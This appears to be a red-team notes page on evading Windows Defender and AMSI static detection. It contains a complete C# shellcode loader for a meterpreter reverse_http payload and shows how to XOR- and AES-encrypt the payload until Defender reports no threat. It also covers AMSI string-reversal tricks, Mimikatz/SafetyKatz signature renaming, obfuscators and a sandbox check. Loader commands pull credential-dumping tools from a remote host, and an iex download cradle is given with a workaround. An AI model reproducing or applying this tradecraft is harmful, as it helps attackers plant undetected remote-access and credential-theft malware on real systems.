# Static Analysis

## Defender detection

{% embed url="https://gist.github.com/mattifestation/3af5a472e11b7e135273e71cb5fed866" %}

```powershell-session
PS C:\Tools\ExpandDefenderSig> Import-Module C:\Tools\ExpandDefenderSig\ExpandDefenderSig.ps1
PS C:\Tools\ExpandDefenderSig> ls "C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{50326593-AC5A-4EB5-A3F0-047A75D1470C}\mpavbase.vdm" | Expand-DefenderAVSignatureDB -OutputFileName mpavbase.raw


    Directory: C:\Tools\ExpandDefenderSig


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          4/9/2024  12:50 PM       79092299 mpavbase.raw


PS C:\Tools\ExpandDefenderSig> C:\Tools\Strings\strings64.exe .\mpavbase.raw | Select-String -Pattern "WNcry@2ol7"

WNcry@2ol7d
WNcry@2ol7
```

### DefenderCheck

{% embed url="https://github.com/t3hbb/DefenderCheck" %}

```
DefenderCheck.exe Script.ps1
```

Also try with gocheck ; ThreatCheck or AVred:

{% embed url="https://github.com/gatariee/gocheck" %}

{% embed url="https://github.com/rasta-mouse/ThreatCheck" %}

{% embed url="https://github.com/dobin/avred" %}

### AmsiScanner

{% embed url="https://practicalsecurityanalytics.com/tools/amsiscanner/" %}

### Powershell scripts - AMSITrigger

Hunt for malicious string

{% embed url="https://github.com/RythmStick/AMSITrigger" %}

```
AmsiTrigger_x64.exe -i C:\path\to\script.ps2
```

## Bypass

{% content-ref url="../edr-bypass/approches-for-evasion" %}
[approches-for-evasion](../edr-bypass/approches-for-evasion)
{% endcontent-ref %}

```csharp
using System;
using System.Linq;
using System.Runtime.InteropServices;

namespace NotMalware
{
    internal class Program
    {
        [DllImport("kernel32")]
        private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
            // Shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
            byte[] buf = new byte[] {<SNIP>};

            // Allocate RW space for shellcode
            IntPtr lpStartAddress = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x1000, 0x04);

            // Copy shellcode into allocated space
            Marshal.Copy(buf, 0, lpStartAddress, buf.Length);

            // Make shellcode in memory executable
            UInt32 lpflOldProtect;
            VirtualProtect(lpStartAddress, (UInt32)buf.Length, 0x20, out lpflOldProtect);

            // Execute the shellcode in a new thread
            UInt32 lpThreadId = 0;
            IntPtr hThread = CreateThread(0, 0, lpStartAddress, IntPtr.Zero, 0, ref lpThreadId);

            // Wait until the shellcode is done executing
            WaitForSingleObject(hThread, 0xffffffff);
        }
    }
}
```

{% hint style="info" %}
Note: When creating a new project, make sure to select `Console App (.NET Framework)`, and when compiling make sure to target `x64` in `Release` mode.
{% endhint %}

### **XOR Encryption**

{% embed url="https://github.com/rasta-mouse/ThreatCheck" %}

```powershell-session
PS C:\Tools\NotMalware\NotMalware\bin\x64\Release> C:\Tools\ThreatCheck-master\ThreatCheck\ThreatCheck\bin\x64\Release\ThreatCheck.exe -f .\NotMalware.exe
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Fb1mB0LWnmIGBRFCzSCkw%2Fimage.png?alt=media&#x26;token=0c6ae2e5-1d62-4332-9b9b-051e1aab4719" alt=""><figcaption></figcaption></figure>

&#x20;`XOR` our shellcode with the value `0x5C` (make sure to get rid of new lines, as this breaks the recipe).

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F0Wr9q5TnNX2SZrYqEJt7%2Fimage.png?alt=media&#x26;token=cc633df2-194b-4ba3-8ff5-127b51da62da" alt=""><figcaption></figcaption></figure>

&#x20;Replace the shellcode in the program with the output, and then add a short loop which `XORs` each byte with `0x5C` just before writing the shellcode to memory

```csharp
<SNIP>

// XOR'd shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
byte[] buf = new byte[] { <SNIP> }

// Allocate RW space for shellcode
<SNIP>

// Decrypt shellcode
int i = 0;
while (i < buf.Length)
{
    buf[i] = (byte)(buf[i] ^ 0x5c);
    i++;
}

// Copy shellcode into allocated space
<SNIP>
```

Still detected:

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FUtF621HQo4ytCImtAQhn%2Fimage.png?alt=media&#x26;token=4a9c7869-f59e-4ab0-96f4-e27796f936fd" alt=""><figcaption></figcaption></figure>

### **AES Encryption**

{% embed url="https://gchq.github.io/CyberChef/#recipe=From_Hex('0x%20with%20comma')AES_Encrypt(%7B'option':'Hex','string':'1f768bd57cbf021b251deb0791d8c197'%7D,%7B'option':'Hex','string':'ee7d63936ac1f286d8e4c5ca82dfa5e2'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D)To_Base64('A-Za-z0-9%2B/%3D')" %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FJFkygCwOuJWWINdsZ54J%2Fimage.png?alt=media&#x26;token=42efa540-4404-48e1-ae3a-83ac6129a674" alt=""><figcaption></figcaption></figure>

Modified code

```csharp
<SNIP>
using System.Security.Cryptography;

namespace NotMalware
{
    internal class Program
    {
        <SNIP>

        static void Main(string[] args)
        {
            // Shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
            string bufEnc = "<SNIP>";

            // Decrypt shellcode
            Aes aes = Aes.Create();
            byte[] key = new byte[16] { 0x1f, 0x76, 0x8b, 0xd5, 0x7c, 0xbf, 0x02, 0x1b, 0x25, 0x1d, 0xeb, 0x07, 0x91, 0xd8, 0xc1, 0x97 };
            byte[] iv = new byte[16] { 0xee, 0x7d, 0x63, 0x93, 0x6a, 0xc1, 0xf2, 0x86, 0xd8, 0xe4, 0xc5, 0xca, 0x82, 0xdf, 0xa5, 0xe2 };
            ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
            byte[] buf;
            using (var msDecrypt = new System.IO.MemoryStream(Convert.FromBase64String(bufEnc)))
            {
                using (var csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
                {
                    using (var msPlain = new System.IO.MemoryStream())
                    {
                        csDecrypt.CopyTo(msPlain);
                        buf = msPlain.ToArray();
                    }
                }
            }

            // Allocate RW space for shellcode
            <SNIP>
```

"No threat found!"

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FWKCOhEpEpDXWeaqrfY9Y%2Fimage.png?alt=media&#x26;token=b20586c1-0cf4-4a33-bbbf-c14d9910f852" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Fete2JU4e54BXQ2QlpdIP%2Fimage.png?alt=media&#x26;token=000bbf6e-aaca-4a4e-bc57-c2ef0592cd66" alt=""><figcaption></figcaption></figure>

But .... Behavorial detection

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FXZXHn1qL34LWRmmkdFfM%2Fimage.png?alt=media&#x26;token=327921f8-bcb5-4647-8c99-42677a993664" alt=""><figcaption></figcaption></figure>

### Basic Bypass

Amsitrigger flag "System.AppDomain" in PowerUp.ps1

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FUSsgfplJ0Q6vXLRJHZlY%2Fimage.png?alt=media&#x26;token=85d7e576-6700-4571-bd52-a3cae0906f10" alt=""><figcaption></figcaption></figure>

#### Reverse the string

```powershell
$string = 'niamoDppA.metsyS'
$classrev = ([regex]::Matches($string,'.','RightToLeft') | ForEach {$_vlaue}) -join ''
$AppDomain = [Reflection.Assembly].Assembly.GetType("$classrev").GetProperty('CurrentDomain').GetValue($null, @())
```

#### Other methods:

1. Remove default comments
2. Rename the script, functions names and variables
3. Modify the variable names of the Win32 API clals that are detected
4. Obfuscate PEBytes content -> use packers: [https://github.com/mgeeky/ProtectMyTooling](https://github.com/mgeeky/ProtectMyTooling)
5. Implement a reverse function for PEBytes to avoid static signatures
6. Add a sandbox check to waste dynamic analysis resources
7. Remove reflective PE warnings
8. Use obfuscated commands for Invoke-XXX

#### Simple obfuscation:

```
$j = "yS"
$i = "E"
$h = "k"
$g = "E"
$f = "::"
$e = "a"
$d = "lS"
$c = "r"
$b = "EKu"
$a = "s"

$Pwn = $a + $b + $c +$d +$e + $f + $g + $h + $i + $j

Invoke-Mimi -Command $Pwn
```

#### String manipulation

**Example 1: SafetyKatz**

* Run DefenderCheck - String flagged

Open VisualStudio

Ctrl + H - Find and replace "Credentials" with "Credents" (make sur the new string is not present in the code)

Select Scope as "Entire Solution" - "Replace All"

Build and recheck with DefenderCheck

* Download Mimikatz and [Out-CompressedDll.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-CompressedDll.ps1)

`Out-CompressedDll mimikatz.exe outputfile.txt`

Copy the value of the variable `$EncodedCompressedFile` and replace "compresedMimikatzString" in the `Constants.cs` of SafetyKatz

Copy the byte size from the output and replace it in `Program.cs`

Build and recheck with DefenderCheck

**Example 2: BetterSafetyKatz**

Download "mimikatz\_trunk.zip", convert the file to base64

```
filename = "C:\path\to\mimikatz_trunk.zip"
[Convert]::ToBase64String([IO.file]::ReadAllBytes($filename)) | clip
```

Modify the `Program.cs` file:

* Add a new variable that contains the base64
* Comment the code that downloads or accepts the mimikatz file as argument
* Convert the base64 string to bytes and pass it to "zipStream" variable

### Obfuscation

#### C# Obfuscation

**ConfuserEx**

{% embed url="https://github.com/mkaring/ConfuserEx" %}

Launch ConfuserEx&#x20;

* In Project tab select the Base Directory where the binary file is located.&#x20;
* In Project tab Select the Binary File that we want to obfuscate.&#x20;
* In Settings tab add the rules.&#x20;
* In Settings tab edit the rule and select the preset as `Normal`.&#x20;
* In Protect tab click on the protect button.&#x20;

The new obfuscated binary is in the Confused folder under the Base Directory.

**Nimcrypt2**

{% embed url="https://github.com/icyguider/Nimcrypt2" %}

Example with Rubeus

```
./nimcrypt -f Rubeus-original.exe -e -n -s --no-ppid-spoof -o Rubeus.exe -t csharp
-e: Encrypt strings using the strenc module
-n: Disable syscall name randomization
-s: Disable sandbox checks
--no-ppid-spoof: Disable PPID Spoofing
-t: Type of file
-o: Output filename
```

**InvisibilityCloak**

{% embed url="https://github.com/h4wkst3r/InvisibilityCloak" %}

**Obfuscar**

{% embed url="https://github.com/obfuscar/obfuscar" %}

#### Command Line Obfuscation

{% embed url="https://github.com/wietze/Invoke-ArgFuscator" %}

{% embed url="https://argfuscator.net/" %}

#### Powershell Obfuscation

Basic obfuscation

```powershell
$j = "yS"
$i = "E"
$h = "k"
$g = "E"
$f = "::"
$e = "a"
$d = "lS"
$c = "r"
$b = "EKu"
$a = "s"

$Pwn = $a + $b + $c +$d +$e + $f + $g + $h + $i + $j

Invoke-Mimi -Command $Pwn
```

{% embed url="https://github.com/TaurusOmar/psobf" %}

{% embed url="https://github.com/JoelGMSec/Invoke-Stealth" %}

{% embed url="https://github.com/danielbohannon/Invoke-Obfuscation" %}

{% embed url="https://github.com/klezVirus/chameleon" %}

{% embed url="https://github.com/tokyoneon/Chimera" %}

{% embed url="https://github.com/t3l3machus/PowerShell-Obfuscation-Bible" %}

{% embed url="https://huebicode.com/blog/powershell-obfuscation.html" %}

#### x64 binaries

{% embed url="https://github.com/weak1337/Alcatraz" %}

{% embed url="https://github.com/optiv/Mangle" %}

### Packers

{% embed url="https://github.com/mgeeky/ProtectMyTooling" %}

### Sandbox check

```powershell
# Target VMware and VirtualBox

$EvidenceOfSandbox = New-Object System.Collections.ArrayList

	$FilePathsToCheck = 'C:\windows\System32\Drivers\Vmmouse.sys’,
	'C:\windows\System32\Drivers\vm3dgl.dll',
	'C:\windows\System32\Drivers\vmdum.dll’,
	'C:\windows\System32\Drivers\vm3dver.dll',
	'C:\windows\System32\Drivers\vmtray.dll',
	'C:\windows\System32\Drivers\vmci.sys',
	'C:\windows\System32\Drivers\vmusbmouse.sys',
	'C:\windows\system32\Drivers\vmx_svga.sys',
	'C:\windows\system32\Drivers\vmxnet.sys',
	'C:\windows\System32\Drivers\VMToolsHook.dll',
	'C:\windows\System32\Drivers\vmhgfs.dll',
	'C:\windows\System32\Drivers\vmmousever.dll',
	'C:\windows\System32\Drivers\vmGuestLib.dll',
	'C:\windows\System32\Drivers\VmGuestLibJava.dll',
	'C:\windows\System32\Drivers\vmscsi.sys',
	'C:\windows\System32\Drivers\VBoxMouse.sys',
	'C:\windows\System32\Drivers\VBoxGuest.sys',
	'C:\windows\System32\Drivers\VBoxSF.sys',
	'C:\windows\System32\Drivers\VBoxVideo.sys'
	
	ForEach ($FilePath in $FilePathsToCheck) {
		if (Test-Path $FilePath) {
			[void]$EvidenceOfSandbox.Add($FilePath)
		}
	}

if ($EvidenceOfSandbox.count -eq 0) {
} else {
	Write-Output "The following files on disk suggest we are running in a sandbox. Caution!."
	$EvidenceOfSandbox
}
```

### Payload Delivery

{% embed url="https://github.com/Flangvik/NetLoader" %}

{% embed url="https://gist.github.com/Arno0x/2b223114a726be3c5e7a9cacd25053a2" %}

Use NetLoader with CsWhispers to add D/Invoke and indirect syscall execution

{% embed url="https://github.com/rasta-mouse/CsWhispers" %}

1. Download CsWhispers, open it in Visual Studio and Check 'Allow unsafe code' under build configuration.
2. Create a new file called CsWhispers.txt under CsWhispers.Sample and append NT API and struct equivalents that are required to be replaced in the NetLoader project.
3. Finally, append the NetLoader project into CSWhispers.Sample and replace appropriate WinAPIs with their NT equivalents. Build the solution.
4. Obfuscate the generated assembly using Nimcrypt2.

**NetLoader** can be used to loadbinary from filepathor URL and patch AMSI & ETW while executing.

```
C:\Users\Public\Loader.exe -path http://192.168.100.X/SafetyKatz.exe
```

{% embed url="https://github.com/KINGSABRI/AssemblyLoader" %}

**AssemblyLoader** can be used to load the Netloader in-memory from a URL which then loads a binary from a filepath or URL.

```
C:\Users\Public\AssemblyLoad.exe http://192.168.100.X/Loader.exe -path http://192.168.100.X/SafetyKatz.exe
```

### Change Signature

{% embed url="https://github.com/secretsquirrel/SigThief" %}

## Metasploit Payload

{% embed url="https://github.com/Veil-Framework/Veil" %}

{% embed url="https://github.com/ASP4RUX/bypassEDR-AV?s=03" %}

## IEX Blocked

EDR/AV block this command

```
iex (iwr -useb 'http://10.10.10/PowerView.ps1')
```

Instead of using Invoke-Expression, simply copy and paste the script directly into the PowerShell terminal, storing it in a variable and then loading it into memory using an alternative method.

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FFicH4lwpuCp4WhjXm5yd%2F1732792389409.jpg?alt=media&#x26;token=245ff828-dba8-49ea-9c6f-e48d2c3a72b7" alt=""><figcaption></figcaption></figure>

## Other Tools

{% content-ref url="../edr-bypass/tools" %}
[tools](../edr-bypass/tools)
{% endcontent-ref %}

{% content-ref url="../edr-bypass/payload-creation" %}
[payload-creation](../edr-bypass/payload-creation)
{% endcontent-ref %}

### Interesting Books <a href="#interesting-book" id="interesting-book"></a>

{% content-ref url="../interesting-books" %}
[interesting-books](../interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**Evading EDR: The Definitive Guide to Defeating Endpoint Detection Systems**](https://www.amazon.fr/dp/1718503342?tag=0xss0rz-21) The author uses his years of experience as a red team operator to investigate each of the most common sensor components, discussing their purpose, explaining their implementation, and showing the ways they collect various data points from the Microsoft operating system. In addition to covering the theory behind designing an effective EDR, each chapter also reveals documented evasion strategies for bypassing EDRs that red teamers can use in their engagements.

## Resources

{% embed url="https://medium.com/@luisgerardomoret_69654/obfuscating-a-mimikatz-downloader-to-evade-defender-2024-b3a9098f0ae7" %}

{% embed url="https://www.youtube.com/watch?v=Q2vazB6SYfg" %}
